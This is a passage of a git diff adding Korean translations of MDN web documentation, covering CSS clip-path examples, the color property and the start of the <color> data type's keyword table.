+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape5"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: margin-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape6"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape6"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: border-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape7"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape7"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: padding-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape8"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape8"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: content-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape9"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape9"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+  background: #EEE;
+}
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+}
+
+.col {
+  flex: 1 auto;
+}
+
+.cell {
+  margin: .5em;
+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+  flex: 1;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em .5em 0;
+  font: .8em sans-serif;
+  text-align: left;
+  white-space: nowrap;
+}
+
+.note + .row .cell {
+  margin-top: 0;
+}
+
+.container {
+  display: inline-block;
+  border: 1px dotted grey;
+  position:relative;
+}
+
+.container:before {
+  content: 'margin';
+  position: absolute;
+  top: 2px;
+  left: 2px;
+  font: italic .6em sans-serif;
+}
+
+.viewbox {
+  box-shadow: 1rem 1rem 0 #EFEFEF inset, -1rem -1rem 0 #EFEFEF inset;
+}
+
+.container.viewbox:after {
+  content: 'viewbox';
+  position: absolute;
+  left: 1.1rem;
+  top: 1.1rem;
+  font: italic .6em sans-serif;
+}
+
+.cell span {
+  display: block;
+  margin-bottom: .5em;
+}
+
+p {
+  font-family: sans-serif;
+  background: #000;
+  color: pink;
+  margin: 2em;
+  padding: 3em 1em;
+  border: 1em solid pink;
+  width: 6em;
+}
+
+.none { clip-path: none; }
+.svg  { clip-path: url(#myPath); }
+.svg2 { clip-path: path('M15,45 A30,30,0,0,1,75,45 A30,30,0,0,1,135,45 Q135,90,75,130 Q15,90,15,45 Z');}
+.shape1 { clip-path: circle(25%); }
+.shape2 { clip-path: circle(25% at 25% 25%); }
+.shape3 { clip-path: fill-box    circle(25% at 25% 25%); }
+.shape4 { clip-path: stroke-box  circle(25% at 25% 25%); }
+.shape5 { clip-path: view-box    circle(25% at 25% 25%); }
+.shape6 { clip-path: margin-box  circle(25% at 25% 25%); }
+.shape7 { clip-path: border-box  circle(25% at 25% 25%); }
+.shape8 { clip-path: padding-box circle(25% at 25% 25%); }
+.shape9 { clip-path: content-box circle(25% at 25% 25%); }
+
+.defs {
+  width: 0;
+  height: 0;
+  margin: 0;
+}
+
+pre { margin-bottom: 0; }
+
+svg {
+  margin: 1em;
+  font-family: sans-serif;
+  width: 192px;
+  height: 192px;
+}
+
+svg rect {
+  stroke: pink;
+  stroke-width: 16px;
+}
+
+svg text {
+  fill: pink;
+  text-anchor: middle;
+}
+
+svg text.em {
+  font-style: italic;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("clip-path", "100%", 800, "", "", "example-outcome-frame")}}</p>
+
+<h3 id="완전한_예제">완전한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;img id="clipped" src="https://mdn.mozillademos.org/files/12668/MDN.svg"
+    alt="MDN logo"&gt;
+&lt;svg height="0" width="0"&gt;
+  &lt;defs&gt;
+    &lt;clipPath id="cross"&gt;
+      &lt;rect y="110" x="137" width="90" height="90"/&gt;
+      &lt;rect x="0" y="110" width="90" height="90"/&gt;
+      &lt;rect x="137" y="0" width="90" height="90"/&gt;
+      &lt;rect x="0" y="0" width="90" height="90"/&gt;
+    &lt;/clipPath&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+
+&lt;select id="clipPath"&gt;
+  &lt;option value="none"&gt;none&lt;/option&gt;
+  &lt;option value="circle(100px at 110px 100px)"&gt;circle&lt;/option&gt;
+  &lt;option value="url(#cross)" selected&gt;cross&lt;/option&gt;
+  &lt;option value="inset(20px round 20px)"&gt;inset&lt;/option&gt;
+  &lt;option value="path('M 0 200 L 0,110 A 110,90 0,0,1 240,100 L 200 340 z')"&gt;path&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#clipped {
+  margin-bottom: 20px;
+  clip-path: url(#cross);
+}
+</pre>
+
+<div class="hidden">
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var clipPathSelect = document.getElementById("clipPath");
+clipPathSelect.addEventListener("change", function (evt) {
+  document.getElementById("clipped").style.clipPath = evt.target.value;
+});
+</pre>
+</div>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("완전한_예제", 230, 250)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-clip-path", 'clip-path')}}</td>
+   <td>{{Spec2('CSS Masks')}}</td>
+   <td>Extends its application to HTML elements. The <code>clip-path</code> property replaces the deprecated {{cssxref("clip")}} property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#ClipPathProperty', 'clip-path')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition (applies to SVG elements only).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Shapes 2", "#supported-basic-shapes", 'path')}}</td>
+   <td>{{Spec2('CSS Shapes 2')}}</td>
+   <td>Defines <code>path()</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.clip-path")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2017/06/css-shapes-clipping-and-masking/">Shapes in clipping and masking – and how to use them</a></li>
+ <li>CSS 속성: {{cssxref("mask")}}, {{cssxref("filter")}}</li>
+ <li><a href="/ko/docs/Web/SVG/Applying_SVG_effects_to_HTML_content">HTML 콘텐츠에 SVG 효과 적용하기</a></li>
+ <li>SVG 속성: {{SVGAttr("clip-path")}}, {{SVGAttr("clip-rule")}}</li>
+</ul>
diff --git a/files/ko/web/css/color/index.html b/files/ko/web/css/color/index.html
new file mode 100644
index 0000000000..7fe1cd0ba9
--- /dev/null
+++ b/files/ko/web/css/color/index.html
@@ -0,0 +1,163 @@
+---
+title: color
+slug: Web/CSS/color
+tags:
+  - CSS
+  - CSS Colors
+  - CSS Property
+  - CSS Text
+  - Layout
+  - Reference
+  - Web
+  - 색
+translation_of: Web/CSS/color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>color</code></strong> <a href="/ko/docs/Web/API/CSS">CSS</a> 속성은 요소의 글씨 및 <a href="/ko/docs/Web/CSS/text-decoration">글씨 장식</a>의 전경색과 {{cssxref("currentcolor")}}의 값을 설정합니다.</span> <code>currentcolor</code>는 다른 속성에서 사용할 수 있는 간접적인 값이며, {{cssxref("border-color")}} 등 일부 속성의 기본값입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/color.html")}}</div>
+
+
+
+<p>HTML에서 색을 사용하는 법은 <a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색입히기</a> 문서에서 정리한 내용으로 읽을 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 키워드 값 */
+color: currentcolor;
+
+/* &lt;named-color&gt; 값 */
+color: red;
+color: orange;
+color: tan;
+color: rebeccapurple;
+
+/* &lt;hex-color&gt; 값 */
+color: #090;
+color: #009900;
+color: #090a;
+color: #009900aa;
+
+/* &lt;rgb()&gt; 값 */
+color: rgb(34, 12, 64, 0.6);
+color: rgba(34, 12, 64, 0.6);
+color: rgb(34 12 64 / 0.6);
+color: rgba(34 12 64 / 0.3);
+color: rgb(34.0 12 64 / 60%);
+color: rgba(34.6 12 64 / 30%);
+
+/* &lt;hsl()&gt; 값 */
+color: hsl(30, 100%, 50%, 0.6);
+color: hsla(30, 100%, 50%, 0.6);
+color: hsl(30 100% 50% / 0.6);
+color: hsla(30 100% 50% / 0.6);
+color: hsl(30.0 100% 50% / 60%);
+color: hsla(30.2 100% 50% / 60%);
+
+/* 전역 값 */
+color: inherit;
+color: initial;
+color: unset;
+</pre>
+
+<p><code>color</code> 속성은 하나의 {{cssxref("&lt;color&gt;")}} 값을 사용해 지정합니다.</p>
+
+<p>값이 단일 색상이어야 함에 주의하세요. {{cssxref("&lt;gradient&gt;")}}는 사실 {{cssxref("&lt;image&gt;")}} 자료형이기 때문에 사용할 수 없습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>요소의 글씨와 장식 부분의 색.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제 모두 글씨를 빨갛게 만듭니다.</p>
+
+<pre class="brush: css">p { color: red; }
+p { color: #f00; }
+p { color: #ff0000; }
+p { color: rgb(255,0,0); }
+p { color: rgb(100%, 0%, 0%); }
+p { color: hsl(0, 100%, 50%); }
+
+/* 50% 투명 */
+p { color: rgba(255, 0, 0, 0.5); }
+p { color: hsla(0, 100%, 50%, 0.5); }
+</pre>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.</p>
+
+<p>색 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 <a href="https://www.w3.org/WAI/standards-guidelines/wcag/" rel="noopener">웹 콘텐츠 접근성 가이드라인</a>(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 <a href="/ko/docs/Web/CSS/font-weight">굵은</a> 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Colors', '#the-color-property', 'color')}}</td>
+   <td>{{Spec2('CSS4 Colors')}}</td>
+   <td>Adds commaless syntaxes for the <code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code>, and <code>hsla()</code> functions. Allows alpha values in <code>rgb()</code> and <code>hsl()</code>, turning <code>rgba()</code> and <code>hsla()</code> into (deprecated) aliases for them.<br>
+    Adds color keyword <code>rebeccapurple</code>.<br>
+    Adds 4- and 8-digit hex color values, where the last digit(s) represents the alpha value.<br>
+    Adds <code>hwb()</code>, <code>device-cmyk()</code>, and <code>color()</code> functions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'color')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>color</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#color', 'color')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Deprecates system-colors. Adds SVG colors. Adds the <code>rgba()</code>, <code>hsl()</code>, and <code>hsla()</code> functions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#colors', 'color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Adds the <code>orange</code> color and the system colors.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#color', 'color')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}} 자료형</li>
+ <li>다른 색상 관련 속성: {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, {{cssxref("column-rule-color")}}, {{cssxref("color-adjust")}}</li>
+ <li><a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색입히기</a></li>
+</ul>
diff --git a/files/ko/web/css/color_value/index.html b/files/ko/web/css/color_value/index.html
new file mode 100644
index 0000000000..c176ddc056
--- /dev/null
+++ b/files/ko/web/css/color_value/index.html
@@ -0,0 +1,1374 @@
+---
+title: <color>
+slug: Web/CSS/color_value
+tags:
+  - CSS
+  - CSS Date Type
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/color_value
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>&lt;color&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 <a href="https://ko.wikipedia.org/wiki/SRGB">sRGB 색 공간</a>의 한 색을 표현하며, 추가로 <a href="https://ko.wikipedia.org/wiki/%EC%95%8C%ED%8C%8C_%EC%B1%84%EB%84%90">알파 채널</a> 투명도 값도 가질 수 있어 자신이 가리키는 색상과 배경이 <a href="https://www.w3.org/TR/2003/REC-SVG11-20030114/masking.html#SimpleAlphaBlending">어떻게 합성되어야 하는지</a> 지정할 수 있습니다.</p>
+
+<p><code>&lt;color&gt;</code>는 다음 방법으로 정의할 수 있습니다.</p>
+
+<ul>
+ <li>키워드 사용 (<code>blue</code>, <code>transparent</code> 등)</li>
+ <li>RGB 3차원 좌표계 사용 (# + 16진수 표기법 또는 <code>rgb()</code>, <code>rgba()</code>의 함수형 표기법)</li>
+ <li>HSL 실린더형 좌표계 사용 (<code>hsl()</code>, <code>hsla()</code>의 함수형 표기법)</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> 이 글은 <code>&lt;color&gt;</code> 자료형에 대해 상세히 기술합니다. HTML에서 실제로 색을 쓰는 법이 더 알고 싶으시면 <a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색 입히기</a>를 참고하세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;color&gt;</code> 자료형은 아래 나열된 선택지 중 하나를 사용해 지정합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>&lt;color&gt;</code> 값은 정확하게 정의할 수 있지만 실제로 화면에 표시될 때는 기기별로 차이가 있을 수도 있습니다. 대부분의 화면 색이 제대로 조정되지 않았으며 일부 브라우저는 기기의 <a href="https://ko.wikipedia.org/wiki/ICC_%ED%94%84%EB%A1%9C%ED%8C%8C%EC%9D%BC">색상 프로필</a>을 지원하지 않기 때문입니다.</p>
+</div>
+
+<h3 id="색상_키워드">색상 키워드</h3>
+
+<p>색상 키워드는 대소문자를 구분하지 않는 식별자로, <code>red</code>, <code>blue</code>, <code>black</code>, <code>lightseagreen</code>처럼 특정 색을 나타냅니다. 이름이 표현하는 색을 그럭저럭 가리키고 있긴 하지만 모든 키워드의 본질은 인위적이며 어떤 특정한 규칙을 따르거나 하지 않습니다.</p>
+
+<p>색상 키워드를 사용할 땐 몇 가지 고려할 점이 있습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML">HTML</a>은 CSS1에서 찾을 수 있는 16가지 기본 색상만 인식합니다. 알 수 없는 값은 특정 알고리즘을 사용해 변환하는데 그 결과는 대개 완전히 다른 색입니다. 나머지 색상 키워드는 CSS와 <a href="/ko/docs/Web/SVG">SVG</a>에서만 사용해야 합니다.</li>
+ <li>HTML과 달리 CSS는 알 수 없는 키워드를 완전히 무시합니다.</li>
+ <li>모든 색상 키워드는 투명도 없는 단일 색상을 표현합니다.</li>
+ <li>어떤 키워드는 다른 키워드의 다른 이름입니다.
+  <ul>
+   <li><code>aqua</code> / <code>cyan</code></li>
+   <li><code>fuchsia</code> / <code>magenta</code></li>
+   <li><code>darkgray</code> / <code>darkgrey</code></li>
+   <li><code>darkslategray</code> / <code>darkslategrey</code></li>
+   <li><code>dimgray</code> / <code>dimgrey</code></li>
+   <li><code>lightgray</code> / <code>lightgrey</code></li>
+   <li><code>lightslategray</code> / <code>lightslategrey</code></li>
+   <li><code>gray</code> / <code>grey</code></li>
+   <li><code>slategray</code> / <code>slategrey</code></li>
+  </ul>
+ </li>
+ <li>많은 키워드를 <a href="https://ko.wikipedia.org/wiki/X_%EC%9C%88%EB%8F%84_%EC%8B%9C%EC%8A%A4%ED%85%9C">X11</a>에서 가져오긴 했지만, 제조사들이 X11 색상을 특정 하드웨어에 맞춰 조절한 경우도 있었기에 RGB값은 차이가 존재할 수 있습니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> CSS의 진화와 함께 색상 키워드도 많은 변화를 겪었습니다.</p>
+
+<ul>
+ <li>CSS Level 1은 16개의 기본 색상만 지니고 있었습니다. VGA 그래픽 카드가 표현할 수 있는 색에서 가져온 것이기에 <a href="https://ko.wikipedia.org/wiki/%EB%B9%84%EB%94%94%EC%98%A4_%EA%B7%B8%EB%9E%98%ED%94%BD%EC%8A%A4_%EC%96%B4%EB%A0%88%EC%9D%B4">VGA</a> 색상이라고 칭했습니다.</li>
+ <li>CSS Level 2에서는 <code>orange</code> 키워드를 추가했습니다.</li>
+ <li>초기 브라우저들은 명세에 없음에도 불구하고 주로 X11 색상표에서 가져온 다양한 색상을 지원했습니다. 그러나 SVG 1.0과 CSS Colors Level 3 이전까지 그 목록이 정식으로 정해진 적은 없었습니다. 추가한 색상 키워드는 확장 색상 키워드, X11 색상, 또는 SVG 색상이라고 부릅니다.</li>
+ <li>CSS Colors Level 4에선 <a href="https://codepen.io/trezy/post/honoring-a-great-man">웹 개척자 에릭 메이어를 기리기 위해</a> <code>rebeccapurple</code> 키워드를 추가했습니다.</li>
+</ul>
+</div>
+
+<table id="colors_table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">키워드</th>
+   <th scope="col">RGB 16진수값</th>
+   <th scope="col">미리보기</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr style="position: relative;">
+   <td rowspan="16">{{SpecName("CSS1")}}</td>
+   <td style="text-align: center;"><code>black</code></td>
+   <td><code>#000000</code></td>
+   <td style="background: black;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>silver</code></td>
+   <td><code>#c0c0c0</code></td>
+   <td style="background: silver;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>gray</code></td>
+   <td><code>#808080</code></td>
+   <td style="background: gray;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>white</code></td>
+   <td><code>#ffffff</code></td>
+   <td style="background: white;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>maroon</code></td>
+   <td><code>#800000</code></td>
+   <td style="background: maroon;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>red</code></td>
+   <td><code>#ff0000</code></td>
+   <td style="background: red;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>purple</code></td>
+   <td><code>#800080</code></td>
+   <td style="background: purple;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>fuchsia</code></td>
+   <td><code>#ff00ff</code></td>
+   <td style="background: fuchsia;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>green</code></td>
+   <td><code>#008000</code></td>
+   <td style="background: green;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lime</code></td>
+   <td><code>#00ff00</code></td>
+   <td style="background: lime;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>olive</code></td>
+   <td><code>#808000</code></td>
+   <td style="background: olive;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>yellow</code></td>
+   <td><code>#ffff00</code></td>
+   <td style="background: yellow;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>navy</code></td>
+   <td><code>#000080</code></td>
+   <td style="background: navy;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>blue</code></td>
+   <td><code>#0000ff</code></td>
+   <td style="background: blue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>teal</code></td>
+   <td><code>#008080</code></td>
+   <td style="background: teal;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>aqua</code></td>
+   <td><code>#00ffff</code></td>
+   <td style="background: aqua;"></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1")}}</td>
+   <td style="text-align: center;"><code>orange</code></td>
+   <td><code>#ffa500</code></td>
+   <td style="background: orange;"></td>
+  </tr>
+  <tr>
+   <td rowspan="130">{{SpecName("CSS3 Colors")}}</td>
+   <td style="text-align: center;"><code>aliceblue</code></td>
+   <td><code>#f0f8ff</code></td>
+   <td style="background: aliceblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>antiquewhite</code></td>
+   <td><code>#faebd7</code></td>
+   <td style="background: antiquewhite;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>aquamarine</code></td>
+   <td><code>#7fffd4</code></td>
+   <td style="background: aquamarine;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>azure</code></td>
+   <td><code>#f0ffff</code></td>
+   <td style="background: azure;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>beige</code></td>
+   <td><code>#f5f5dc</code></td>
+   <td style="background: beige;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>bisque</code></td>
+   <td><code>#ffe4c4</code></td>
+   <td style="background: bisque;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>blanchedalmond</code></td>
+   <td><code>#ffebcd</code></td>
+   <td style="background: blanchedalmond;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>blueviolet</code></td>
+   <td><code>#8a2be2</code></td>
+   <td style="background: blueviolet;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>brown</code></td>
+   <td><code>#a52a2a</code></td>
+   <td style="background: brown;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>burlywood</code></td>
+   <td><code>#deb887</code></td>
+   <td style="background: burlywood;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>cadetblue</code></td>
+   <td><code>#5f9ea0</code></td>
+   <td style="background: cadetblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>chartreuse</code></td>
+   <td><code>#7fff00</code></td>
+   <td style="background: chartreuse;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>chocolate</code></td>
+   <td><code>#d2691e</code></td>
+   <td style="background: chocolate;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>coral</code></td>
+   <td><code>#ff7f50</code></td>
+   <td style="background: coral;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>cornflowerblue</code></td>
+   <td><code>#6495ed</code></td>
+   <td style="background: cornflowerblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>cornsilk</code></td>
+   <td><code>#fff8dc</code></td>
+   <td style="background: cornsilk;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>crimson</code></td>
+   <td><code>#dc143c</code></td>
+   <td style="background: crimson;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>cyan</code><br>
+    (<code>aqua</code>의 다른 이름)</td>
+   <td><code>#00ffff</code></td>
+   <td style="background: cyan;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkblue</code></td>
+   <td><code>#00008b</code></td>
+   <td style="background: darkblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkcyan</code></td>
+   <td><code>#008b8b</code></td>
+   <td style="background: darkcyan;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkgoldenrod</code></td>
+   <td><code>#b8860b</code></td>
+   <td style="background: darkgoldenrod;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkgray</code></td>
+   <td><code>#a9a9a9</code></td>
+   <td style="background: darkgray;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkgreen</code></td>
+   <td><code>#006400</code></td>
+   <td style="background: darkgreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkgrey</code></td>
+   <td><code>#a9a9a9</code></td>
+   <td style="background: darkgrey;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkkhaki</code></td>
